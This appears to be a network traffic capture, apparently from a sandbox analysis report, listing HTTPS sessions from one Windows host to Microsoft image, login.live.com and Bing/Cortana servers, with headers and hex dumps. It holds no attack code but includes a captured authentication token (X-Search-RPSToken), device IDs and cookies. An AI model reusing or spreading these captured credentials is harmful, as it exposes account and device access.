Session ID Source IP Source Port Destination IP
Destination
Port

Process

45 192.168.2.3 49769 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:31 UTC 936 OUT GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-
13196f5baf00?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:31 UTC 936 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 17018
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI"
MS-CV: 8/oQHq+FgEulH2fF.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:31 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:31 UTC 936 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 
41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 
80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 
40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 
bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 
38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc 
e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 
Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p

2022-06-08 07:54:31 UTC 952 IN Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 
63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 
6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 
73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 
51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 
8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 
2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf 
Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdU
njlHghb)32k\=?o.ad=Hqpu6wt

Session ID Source IP Source Port Destination IP
Destination
Port

Process

46 192.168.2.3 49770 40.126.32.138 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:35 UTC 953 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 3592
Host: login.live.com

2022-06-08 07:54:35 UTC 953 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-06-08 07:54:35 UTC 957 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Wed, 08 Jun 2022 07:53:35 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: d612a6b6-69dc-424b-9165-65e4317d5728
PPServer: PPV: 30 H: BL02PFB66283E15 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Wed, 08 Jun 2022 07:54:34 GMT
Connection: close
Content-Length: 11297

2022-06-08 07:54:35 UTC 957 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

47 192.168.2.3 49771 40.126.32.138 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:35 UTC 968 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2022-06-08 07:54:35 UTC 969 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1
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2022-06-08 07:54:36 UTC 973 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Wed, 08 Jun 2022 07:53:35 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 622f9920-ed42-4e7b-b756-f738680099eb
PPServer: PPV: 30 H: BL02PF5A9F9DE0A V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Wed, 08 Jun 2022 07:54:35 GMT
Connection: close
Content-Length: 11317

2022-06-08 07:54:36 UTC 974 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

48 192.168.2.3 49772 40.126.32.138 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:36 UTC 985 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4794
Host: login.live.com

2022-06-08 07:54:36 UTC 985 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-06-08 07:54:36 UTC 990 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Wed, 08 Jun 2022 07:53:36 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: f0a3fda1-3291-44f9-93cd-56fd8811b13f
PPServer: PPV: 30 H: BL02PF74CF01141 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Wed, 08 Jun 2022 07:54:36 GMT
Connection: close
Content-Length: 11069

2022-06-08 07:54:36 UTC 991 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

49 192.168.2.3 49774 131.253.33.200 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:36 UTC 1002 OUT GET /client/config?cc=US&setlang=en-US HTTP/1.1
X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage
X-Search-SafeSearch: Moderate
Accept-Encoding: gzip, deflate
X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}
X-UserAgeClass: Unknown
X-BM-Market: US
X-BM-DateFormat: M/d/yyyy
X-CortanaAccessAboveLock: false
X-Device-OSSKU: 48
X-BM-DTZ: -420
X-BM-FirstEnabledTime: 132061295966656129
X-DeviceID: 0100748C09004E33
X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time
X-BM-Theme: 000000;0078d7
X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAdHhx8iymSSnJAmh1tgDZKr77ot
8B6QUi2shZW2dULbezpqgg0iqJ37LfBvqqt9zP6Ig8x7uKUJaed8rlY%2B/2EytlnPHV0q4i%2BiEAw%2BWfcd9bEB
F30hxUf6ZitlZ1g1Ut0HtdRoh1ygr7L1TQxXd0UyW/marh2wdDtlQrfNW4bcp6IvX089fERmyWwzBPModtVT251rVN
wa6kKasVyy/%2BEi0OU1v98QUKAuM4aKCOzTWw%2BtmELqA3bhLB2m9xsH%2BOVfDNm%2BbaKt4sDB9R
oFY7EYVPG4k/c761m%2BRLxkRa/Ir/QrkUODSY/KIghkYO96sQAQdUmLDBgZ61OXTT644iE4DZgAACCZ24AeDlJNVq
AFvHXfjbkIAfwcuEyH6av35yBTV4VojYUIApTKmJ2S%2BtkxqAh9rUOw2HxPMfan0bmxSuqaB2w2uTINu9uWFLbqBm
qqLhQGRhQzURQPZhTm6UaP/OVev4TiBVL50icRRGNt0giUIXtqvZ4TNyL1LVvdk8KXNg7t/YDUh5pK5rOUWzdgA8bv
gC%2BAJqJ1Wbdlbv/KcooFoa3rs5Q%2BdHw4/dlSnFnBy2225zapf9rf7oU/GrCHqIl5Ju5FL16X1O8FGOf89NNfrr
bfkr%2BC/TrBNGg1aAtMm%2BxZ82RbtJt%2BBLOqEV9hB%2B0ois3q0/rerlznNAYv9DJRDIbCAhmISyNbCR6HYhH5
eHIQdlmUugwtmKNAJXjGbnc6UJ7iVabuWqAqBDhlhgHjo7tUplfqJZOQ/haBui6F/0H0iea1QdLjnshiOkaBQVhgwG
wj/Jb9W5fX6wzDHFxyQv%2BJwdrCs7Tlz%2BBwQKMxaPo5qSvk1K%2BqAHcGb2%2BNomWDOcIyirH6tSTzUuTJ/nfr
UEzRKTu4fZqxcnN/fHKQHNx%2BrADAm4YPBCvMXZcXJEYreR6nu1wE%3D%26p%3D
X-Agent-DeviceId: 0100748C09004E33
X-BM-CBT: 1654707220
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
X-Device-isOptin: true
Accept-language: en-US, en
X-Device-Touch: false
X-Device-ClientSession: AAA05D4B02704ADDB5E6E481F7AFC561
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader
Host: www.bing.com
Connection: Keep-Alive
Cookie: MUID=1E17B9B70E9B4C6E957D159ED3646FFF

2022-06-08 07:54:37 UTC 1008 IN HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2041
Content-Type: application/json; charset=utf-8
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 09-Jun-2022 07:54:37 GMT; path=/; HttpOnly
Set-Cookie: MUIDB=1E17B9B70E9B4C6E957D159ED3646FFF; expires=Mon, 03-Jul-2023 07:54:37 GMT; path=/; H
ttpOnly
Set-Cookie: _EDGE_S=SID=385F690D941D648717A178B095DB65EB&mkt=en-us&ui=en-us; domain=.bing.com; path=/; 
HttpOnly
Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: SRCHUID=V=2&GUID=ACDC4B06DAFC4E85AE3B05463F64AD6D&dmnchg=1; domain=.bing.com; 
expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: SRCHUSR=DOB=20220608; domain=.bing.com; expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 08-Jun-2024 07:54:37 GMT; path=/
Set-Cookie: ANON=A=E6EAEF30D7E9C145923C068AFFFFFFFF; domain=.bing.com; expires=Sat, 08-Jun-2024 07:5
4:37 GMT; path=/
Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/
Set-Cookie: _SS=SID=385F690D941D648717A178B095DB65EB; domain=.bing.com; path=/
X-SNR-Routing: 1
X-XSS-Protection: 0
X-Cache: CONFIG_NOCACHE
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-
CH-UA-Platform, Sec-CH-UA-Platform-Version
X-MSEdge-Ref: Ref A: EA80B55A1BAB40B8975F804F1C3BAEFE Ref B: VIEEDGE2517 Ref C: 2022-06-08T07:54:37Z
Date: Wed, 08 Jun 2022 07:54:36 GMT
Connection: close

2022-06-08 07:54:37 UTC 1010 IN Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 
67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 
75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 
4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 
22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 7
6 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 
55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 
Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSear
chGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""
},"SearchButtonUseSearchIcon":{"value
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.3 49709 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:52 UTC 68 OUT GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-
4581f098723d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:52 UTC 68 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6463
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE"
MS-CV: fY4WMkPOy0W6s1dW.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:52 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:52 UTC 69 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 
05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 
4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 
cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f 
de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 
a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 
Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Session ID Source IP Source Port Destination IP
Destination
Port

Process

50 192.168.2.3 49773 131.253.33.200 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:54:36 UTC 1004 OUT GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1
X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage
X-Search-SafeSearch: Moderate
Accept-Encoding: gzip, deflate
X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}
X-Device-IsBatteryCertified: false
X-UserAgeClass: Unknown
X-BM-Market: US
X-BM-DateFormat: M/d/yyyy
X-CortanaAccessAboveLock: false
X-Device-OSSKU: 48
X-Device-IsBatteryEnabled: false
X-Device-NetworkType: ethernet
X-BM-DTZ: -420
X-BM-FirstEnabledTime: 132061295966656129
X-DeviceID: 0100748C09004E33
X-VoiceActivationOn: false
X-Device-AudioCapture: Microphone (High Definition Audio Device)
X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time
X-BM-Theme: 000000;0078d7
X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAdHhx8iymSSnJAmh1tgDZKr77ot
8B6QUi2shZW2dULbezpqgg0iqJ37LfBvqqt9zP6Ig8x7uKUJaed8rlY%2B/2EytlnPHV0q4i%2BiEAw%2BWfcd9bEB
F30hxUf6ZitlZ1g1Ut0HtdRoh1ygr7L1TQxXd0UyW/marh2wdDtlQrfNW4bcp6IvX089fERmyWwzBPModtVT251rVN
